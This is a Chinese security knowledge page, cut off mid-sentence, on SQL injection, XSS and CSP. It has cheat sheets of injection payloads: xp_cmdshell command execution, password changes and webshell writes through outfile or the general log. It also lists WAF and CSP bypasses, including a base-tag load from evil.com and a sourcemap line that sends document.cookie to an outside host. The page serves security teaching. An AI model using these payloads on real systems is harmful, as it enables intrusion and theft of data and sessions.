- 常见漏洞攻防
- SQL注入
- 注入分类
- 按技巧分类
- 按获取数据的方式分类
- 注入检测
- 权限提升
- 数据库检测
- 绕过技巧
- CheatSheet
- SQL Server Payload
- MySQL Payload
- 预编译
- XSS
- 分类
- 危害
- 同源策略
- CSP
- XSS数据源
- Sink
- XSS保护
- WAF Bypass
- Payload
- 持久化
- CSRF
- SSRF
- 命令注入
- 目录穿越
- 文件读取
- 文件上传
- 文件包含
- …………
- SQL注入
- 语言和框架
- 基本概念
- 生命周期
常见漏洞攻防
SQL注入
注入分类
SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。
按技巧分类
根据使用的技巧,SQL注入类型可分为
-
-
盲注
布尔盲注:只能从应用返回中推断语句执行后的布尔值时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
-
-
报错注入:应用会显示全部或者部分的报错信息
-
堆叠注入:有的应用可以加入
;
后一次执行多条语句 -
其他
按获取数据的方式分类
另外也可以根据获取数据的方式分为3类
-
inband,利用Web应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。
-
inference,通过Web的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过web应用的其他改变来推断数据。
-
out of band (OOB)通过其他传输方式来获得数据,比如DNS解析协议和电子邮件。
注入检测
常见的注入点
- GET/POST/PUT/DELETE参数
- X-Forwarded-For
- 文件名
Fuzz注入点
'
/"
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+
-
^
*
%
/
<<
>>
||
|
&
&&
~
!
@
- 反引号执行
测试用常量
@@version
@@servername
@@language
@@spid
测试列数
例如 http://www.foo.com/index.asp?id=12+union+select+null,null--
,不断增加 null
至不返回
报错注入
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
基于geometric的报错注入
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
堆叠注入
;select 1
注释符
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
判断过滤规则
- 是否有trunc
- 是否过滤某个字符
- 是否过滤关键字
- slash和编码
获取信息
-
-
判断数据库类型
`and exists (select * from msysobjects ) > 0` access数据库`and exists (select * from sysobjects ) > 0` SQLServer数据库
-
-
-
判断数据库表
`and exsits (select * from admin)`
-
-
版本、主机名、用户名、库名
-
-
表和字段
确定字段数Order BySelect Into表名、列名
-
测试权限
-
-
文件操作
读敏感文件写shell
-
-
-
带外通道
网络请求
-
权限提升
UDF提权
UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。
当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。
数据库检测
MySQL
-
sleep
sleep(1)
-
benchmark
BENCHMARK(5000000, MD5('test'))
-
-
字符串连接
`SELECT 'a' 'b'``SELECT CONCAT('some','string')`
-
-
-
version
`SELECT @@version``SELECT version()`
-
-
-
识别用函数
`connection_id()``last_insert_id()``row_count()`
-
Oracle
-
-
字符串连接
`'a'||'oracle' --``SELECT CONCAT('some','string')`
-
-
-
version
`SELECT banner FROM v$version``SELECT banner FROM v$version WHERE rownum=1`
-
SQLServer
-
WAITFOR
WAITFOR DELAY '00:00:10';
-
SERVERNAME
SELECT @@SERVERNAME
-
version
SELECT @@version
-
-
字符串连接
`SELECT 'some'+'string'`
-
-
-
常量
`@@pack_received``@@rowcount`
-
PostgreSQL
- sleep
pg_sleep(1)
绕过技巧
-
-
编码绕过
大小写url编码html编码十六进制编码unicode编码
-
-
-
注释
`//` `--` `-- +` `-- -` `#` `/**/` `;%00`内联注释用的更多,它有一个特性 `/!**/` 只有MySQL能识别e.g. `index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3`
-
-
-
只过滤了一次时
`union` => `ununionion`
-
-
-
相同功能替换
函数替换`substring` / `mid` / `sub``ascii` / `hex` / `bin``benchmark` / `sleep`变量替换`user()` / `@@user`符号和关键字`and` / `&``or` / `|`
-
-
-
HTTP参数
HTTP参数污染`id=1&id=2&id=3` 根据容器不同会有不同的结果HTTP分割注入
-
-
-
缓冲区溢出
一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理
-
-
二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过
CheatSheet
SQL Server Payload
常见Payload
-
-
Version
`SELECT @@version`
-
-
-
Comment
`SELECT 1 -- comment``SELECT /*comment*/1`
-
-
-
Space
`0x01 - 0x20`
-
-
-
用户信息
`SELECT user_name()``SELECT system_user``SELECT user``SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID`
-
-
-
用户权限
`select IS_SRVROLEMEMBER('sysadmin')``select IS_SRVROLEMEMBER('db_owner')`
-
-
-
List User
`SELECT name FROM master..syslogins`
-
-
-
数据库信息
`SELECT name FROM master..sysdatabases``select concat_ws(table_schema,table_name,column_name) from information_schema.columns``select quotename(name) from master..sysdatabases FOR XML PATH('')`
-
-
-
执行命令
`EXEC xp_cmdshell 'net user'`
-
-
-
Ascii
`SELECT char(0x41)``SELECT ascii('A')``SELECT char(65)+char(66)` => return `AB`
-
-
-
Delay
`WAITFOR DELAY '0:0:3'` pause for 3 seconds
-
-
-
Change Password
`ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'`
-
-
-
Trick
`id=1 union:select password from:user`
-
-
-
文件读取
OpenRowset
-
-
-
当前查询语句
`select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)`
-
-
-
hostname
用于判断是否站库分离`select host_name()``exec xp_getnetname`
-
-
-
服务器信息
`exec xp_msver`
-
注册表读写
-
-
xp_regread
`exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'`
-
-
xp_regwrite
-
xp_regdeletvalue
-
xp_regdeletkey
-
xp_regaddmultistring
报错注入
1=convert(int,(db_name()))
常用函数
- SUSER_NAME()
- USER_NAME()
- PERMISSIONS()
- DB_NAME()
- FILE_NAME()
- TYPE_NAME()
- COL_NAME()
DNS OOB
- fn_xe_file_target_read_file
- fn_get_audit_file
- fn_trace_gettable
其他常用存储过程
- sp_execute_external_script
- sp_makewebtask
- sp_OACreate
- sp_OADestroy
- sp_OAGetErrorInfo
- sp_OAGetProperty
- sp_OAMethod
- sp_OASetProperty
- sp_OAStop
- xp_cmdshell
- xp_dirtree
- xp_enumerrorlogs
- xp_enumgroups
- xp_fixeddrives
- xp_getfiledetails
- xp_loginconfig
MySQL Payload
常见Payload
-
-
Version
`SELECT @@version`
-
-
-
Comment
`SELECT 1 -- comment``SELECT 1 # comment``SELECT /*comment*/1`
-
-
-
Space
`0x9` `0xa-0xd` `0x20` `0xa0`
-
-
-
Current User
`SELECT user()``SELECT system_user()``SELECT current_role()`
-
-
-
List User
`SELECT user FROM mysql.user`
-
-
-
Current Database
`SELECT database()`
-
-
-
List Database
`SELECT schema_name FROM information_schema.schemata`
-
-
-
List Tables
`SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'`
-
-
-
List Columns
`SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'`
-
-
-
If
`SELECT if(1=1,'foo','bar');` return 'foo'
-
-
-
Ascii
`SELECT char(0x41)``SELECT ascii('A')``SELECT 0x414243` => return `ABC`
-
-
-
Delay
`sleep(1)``SELECT BENCHMARK(1000000,MD5('A'))`
-
-
-
Read File
`select @@datadir``select load_file('databasename/tablename.MYD')`
-
-
-
Blind
`ascii(substring(str,pos,length)) & 32 = 1`
-
-
-
Error Based
`select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;``select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))`
-
-
-
Change Password
`mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"`
-
报错注入常见函数
- extractvalue
- updatexml
- GeometryCollection
- linestring
- multilinestring
- multipoint
- multipolygon
- polygon
- exp
写文件
写文件前提
- root 权限
- 知晓文件绝对路径
- 写入的路径存在写入权限
- secure_file_priv 允许向对应位置写入
select count(file_priv) from mysql.user
基于 into 写文件
union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'
dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏
基于 log 写文件
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '';
set global general_log_file = '/original/path';
set global general_log = off;
预编译
SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。
模拟预编译
为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。
绕过
预编译使用错误
预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
部分参数不可预编译
在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。
预编译实现错误
部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。
XSS
XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
分类
反射型XSS
反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:hello, $_GET['user']";?>
,那么在访问时设置 /?user=alert("hack")
,则可执行预设好的JavaScript代码。
反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。
储存型XSS
储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。
DOM XSS
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
例如
DOM Based XSS Demo
输入 x' onerror='javascript:alert(/xss/)
即可触发。
Blind XSS
Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上。
危害
- 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
- 攻击者能够在一定限度内记录用户的键盘输入。
- 攻击者通过CSRF等方式以用户身份执行危险操作。
- XSS蠕虫。
- 获取用户浏览器信息。
- 利用XSS漏洞扫描用户内网。
同源策略
同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。
file域的同源策略
在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。
从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件。
cookie的同源策略
cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。
不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain
/ path
/ secure
和 http-only
标记来限定其访问性。
所以 https://localhost:8080/
和 http://localhost:8081/
的Cookie是共享的。
Flash/SilverLight跨域
浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml,设置本服务允许哪些域名的跨域访问。
客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。
源的更改
同源策略认为域和子域属于不同的域,例如 child1.a.com
与 a.com
/ child1.a.com
与 child2.a.com
/ xxx.child1.a.com
与 child1.a.com
两两不同源。
对于这种情况,可以在两个方面各自设置 document.domain='a.com'
来改变其源来实现以上任意两个页面之间的通信。
另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为 null
。
跨源访问
同源策略控制了不同源之间的交互,这些交互通常分为三类:
-
-
通常允许跨域写操作(Cross-origin writes)
链接(links)重定向表单提交
-
-
通常允许跨域资源嵌入(Cross-origin embedding)
-
通常不允许跨域读操作(Cross-origin reads)
可能嵌入跨源的资源的一些示例有:
- `` 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
- `` 标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type 消息头。
/
/ `` 嵌入多媒体资源。@font-face
引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。和
载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。
JSONP跨域
JSONP就是利用 `` 标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。
服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。
JSONP也存在一些安全问题,例如当对传入/传回参数没有做校验就直接执行返回的时候,会造成XSS问题。没有做Referer或Token校验就给出数据的时候,可能会造成数据泄露。
另外JSONP在没有设置callback函数的白名单情况下,可以合法的做一些设计之外的函数调用,引入问题。这种攻击也被称为SOME攻击。
跨源脚本API访问
Javascript的APIs中,如 iframe.contentWindow
, window.parent
, window.open
和 window.opener
允许文档间相互引用。当两个文档的源不同时,这些引用方式将对 window
和 location
对象的访问添加限制。
window
允许跨源访问的方法有
- window.blur
- window.close
- window.focus
- window.postMessage
window
允许跨源访问的属性有
- window.closed
- window.frames
- window.length
- window.location
- window.opener
- window.parent
- window.self
- window.top
- window.window
其中 window.location
允许读/写,其他的属性只允许读
跨源数据存储访问
存储在浏览器中的数据,如 localStorage
和 IndexedDB
,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。
CORS
CORS是一个W3C标准,全称是跨域资源共享(Cross-origin resource sharing)。通过这个标准,可以允许浏览器读取跨域的资源。
常见请求头
-
-
Origin
预检请求或实际请求的源站URI, 浏览器请求默认会发送该字段`Origin: `
-
-
-
Access-Control-Request-Method
声明请求使用的方法`Access-Control-Request-Method: `
-
-
-
Access-Control-Request-Headers
声明请求使用的header字段`Access-Control-Request-Headers: [, ]*`
-
常见返回头
-
-
Access-Control-Allow-Origin
声明允许访问的源外域URI对于携带身份凭证的请求不可使用通配符 `*``Access-Control-Allow-Origin: | *`
-
-
-
Access-Control-Expose-Headers
声明允许暴露的头e.g. `Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header`
-
-
-
Access-Control-Max-Age
声明Cache时间`Access-Control-Max-Age: `
-
-
-
Access-Control-Allow-Credentials
声明是否允许在请求中带入`Access-Control-Allow-Credentials: true`
-
-
-
Access-Control-Allow-Methods
声明允许的访问方式`Access-Control-Allow-Methods: [, ]*`
-
-
-
Access-Control-Allow-Headers
声明允许的头`Access-Control-Allow-Headers: [, ]*`
-
防御建议
- 如非必要不开启CORS
- 定义详细的白名单,不使用通配符,仅配置所需要的头
- 配置
Vary: Origin
头部 - 如非必要不使用
Access-Control-Allow-Credentials
- 限制缓存的时间
阻止跨源访问
阻止跨域写操作,可以检测请求中的 CSRF token
,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。
阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 Content-Type
消息头。例如如果在HTML文档中指定 `` 标记,则浏览器会尝试将HTML解析为JavaScript。
CSP
Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生。
配置
CSP策略可以通过 HTTP 头信息或者 meta 元素定义。
CSP 有三类:
- Content-Security-Policy (Google Chrome)
- X-Content-Security-Policy (Firefox)
- X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。
HTML Meta :
指令说明
指令 | 说明 |
---|---|
default-src | 定义资源默认加载策略 |
connect-src | 定义 Ajax、WebSocket 等加载策略 |
font-src | 定义 Font 加载策略 |
frame-src | 定义 Frame 加载策略 |
img-src | 定义图片加载策略 |
media-src | 定义 |
object-src | 定义 、 、 等引用资源加载策略 |
script-src | 定义 JS 加载策略 |
style-src | 定义 CSS 加载策略 |
base-uri | 定义 根URL策略,不使用default-src作为默认值 |
sandbox | 值为 allow-forms,对资源启用 sandbox |
report-uri | 值为 /report-uri,提交日志 |
关键字
-
-
-
允许从任意url加载,除了 `data:` `blob:` `filesystem:` `schemes`e.g. `img-src -`
-
-
-
none
禁止从任何url加载资源e.g. `object-src 'none'`
-
-
-
self
只可以加载同源资源e.g. `img-src 'self'`
-
-
-
data:
可以通过data协议加载资源e.g. `img-src 'self' data:`
-
-
-
domain.example.com
e.g. `img-src domain.example.com`只可以从特定的域加载资源
-
-
-
\*.example.com
e.g. `img-src \*.example.com`可以从任意example.com的子域处加载资源
-
-
-
https://cdn.com
e.g. `img-src https://cdn.com`只能从给定的域用https加载资源
-
-
-
https:
e.g. `img-src https:`只能从任意域用https加载资源
-
-
-
unsafe-inline
允许内部资源执行代码例如style attribute,onclick或者是sicript标签e.g. `script-src 'unsafe-inline'`
-
-
-
unsafe-eval
允许一些不安全的代码执行方式,例如js的eval()e.g. `script-src 'unsafe-eval'`
-
-
-
nonce-'
使用随机的nonce,允许加载标签上nonce属性匹配的标签e.g. `script-src 'nonce-bm9uY2U='`
-
-
-
-'
允许hash值匹配的代码块被执行e.g. `script-src 'sha256-'`
-
配置范例
允许执行内联 JS 代码,但不允许加载外部资源
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
Bypass
预加载
浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。
HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如
另外,不是所有的页面都能够被预加载,当资源类型如下时,讲阻止预加载操作:
- URL中包含下载资源
- 页面中包含音频、视频
- POST、PUT和DELET操作的ajax请求
- HTTP认证
- HTTPS页面
- 含恶意软件的页面
- 弹窗页面
- 占用资源很多的页面
- 打开了chrome developer tools开发工具
MIME Sniff
举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本
302跳转
对于302跳转绕过CSP而言,实际上有以下几点限制:
- 跳板必须在允许的域内。
- 要加载的文件的host部分必须跟允许的域的host部分一致
iframe
当可以执行代码时,可以创建一个源为 css
js
等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。同理,使用 ../../../
/%2e%2e%2f
等可能触发服务器报错的链接也可以到达相应的目的。
base-uri
当script-src为nonce或无限制,且base-uri无限制时,可通过 base
标签修改根URL来bypass,如下加载了http://evil.com/main.js
其他
-
location 绕过
-
可上传SVG时,通过恶意SVG绕过同源站点
-
存在CRLF漏洞且可控点在CSP上方时,可以注入HTTP响应中影响CSP解析
-
CND Bypass,如果网站信任了某个CDN, 那么可利用相应CDN的静态资源bypass
-
Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request
-
-
jQuery sourcemap
`document.write(` //@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);`` `
-
-
a标签的ping属性
-
For FireFox `
-
``
-
-
仅限制
script-src
时:``
-
XSS数据源
URL
location
location.href
location.pathname
location.search
location.hash
document.URL
document.documentURI
document.baseURI
Navigation
window.name
document.referrer
Communication
Ajax
Fetch
WebSocket
PostMessage
Storage
Cookie
LocalStorage
SessionStorage
Sink
执行JavaScript
eval(payload)
setTimeout(payload, 100)
setInterval(payload, 100)
Function(payload)()
payload
- ``
加载URL
location=javascript:alert(/xss/)
location.href=javascript:alert(/xss/)
location.assign(javascript:alert(/xss/))
location.replace(javascript:alert(/xss/))
执行HTML
xx.innerHTML=payload
xx.outerHTML=payload
document.write(payload)
document.writeln(payload)
XSS保护
HTML过滤
使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。
X-Frame
X-Frame-Options 响应头有三个可选的值:
-
-
DENY
页面不能被嵌入到任何iframe或frame中
-
-
-
SAMEORIGIN
页面只能被本站页面嵌入到iframe或者frame中
-
-
-
ALLOW-FROM
页面允许frame或frame加载
-
XSS保护头
基于 Webkit 内核的浏览器(比如Chrome)在特定版本范围内有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。
而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。
要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
0
: 表示关闭浏览器的XSS防护机制1
: 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置1; mode=block
: 如果检测到恶意代码,在不渲染恶意代码
FireFox没有相关的保护机制,如果需要保护,可使用NoScript等相关插件。
WAF Bypass
-
利用<>标记
-
-
利用html属性
hreflowsrcbgsoundbackgroundvalueactiondynsrc
-
-
-
关键字
利用回车拆分字符串拼接`window["al" + "ert"]`
-
-
-
利用编码绕过
base64jsfuckString.fromCharCodeHTMLURLhex`window["\x61\x6c\x65\x72\x74"]`unicodeutf7`+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-`utf16
-
-
大小写混淆
-
对标签属性值转码
-
产生事件
-
css跨站解析
-
-
长度限制bypass
`eval(name)``eval(hash)``import``$.getScript``$.get`
-
-
-
.
使用 `。` 绕过IP/域名`document['cookie']` 绕过属性取值
-
-
过滤引号用
`
绕过
Payload
在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体。信头与元数据,或称为开销数据,仅用于辅助数据传输。
在计算机病毒或电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。
…………
持久化
基于存储
有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data)
之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。
在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode
来绕过。
Service Worker
Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
在Chrome中,可通过 chrome://inspect/#service-workers
来查看Service Worker的状态,并进行停止。
AppCache
在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。
CSRF
跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
分类
资源包含
资源包含是在大多数介绍CSRF概念的演示或基础课程中可能看到的类型。这种类型归结为控制HTML标签(例如、